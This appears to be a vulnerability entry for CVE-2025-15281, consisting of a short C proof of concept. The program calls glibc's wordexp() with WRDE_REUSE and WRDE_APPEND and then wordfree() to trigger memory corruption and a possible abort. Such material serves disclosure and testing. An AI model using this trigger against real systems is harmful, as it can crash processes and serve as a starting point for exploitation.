CVE-2025-15281 GNU C Library wordexp函数内存损坏漏洞

#include <stdio.h> #include <stdlib.h> #include <wordexp.h> /* * PoC for CVE-2025-15281 * GNU C Library wordexp() WRDE_REUSE + WRDE_APPEND memory corruption * * This PoC demonstrates that calling wordexp with both WRDE_REUSE * and WRDE_APPEND flags can cause uninitialized memory to be returned * in we_wordv, leading to process abort when wordfree() is called. */ int main(void) { wordexp_t p = {0}; int ret; printf("CVE-2025-15281 PoC - wordexp WRDE_REUSE + WRDE_APPEND bug\n"); printf("Testing on glibc < 2.43...\n\n"); // First call - initialize the structure ret = wordexp("$HOME/test", &p, 0); if (ret != 0) { printf("First wordexp call failed\n"); return 1; } printf("First call succeeded, we_wordc = %zu\n", p.we_wordc); // Second call with WRDE_REUSE | WRDE_APPEND - triggers the bug // This combination causes uninitialized memory to be returned ret = wordexp("$(echo test)", &p, WRDE_REUSE | WRDE_APPEND); if (ret != 0) { printf("Second wordexp call returned error code %d\n", ret); } else { printf("Second call succeeded, we_wordc = %zu\n", p.we_wordc); printf("WARNING: Potential uninitialized memory access in we_wordv\n"); } // This wordfree() call may cause abort due to corrupted pointers printf("Calling wordfree() - may trigger abort...\n"); wordfree(&p); printf("Test completed without abort (may be patched version)\n"); return 0; }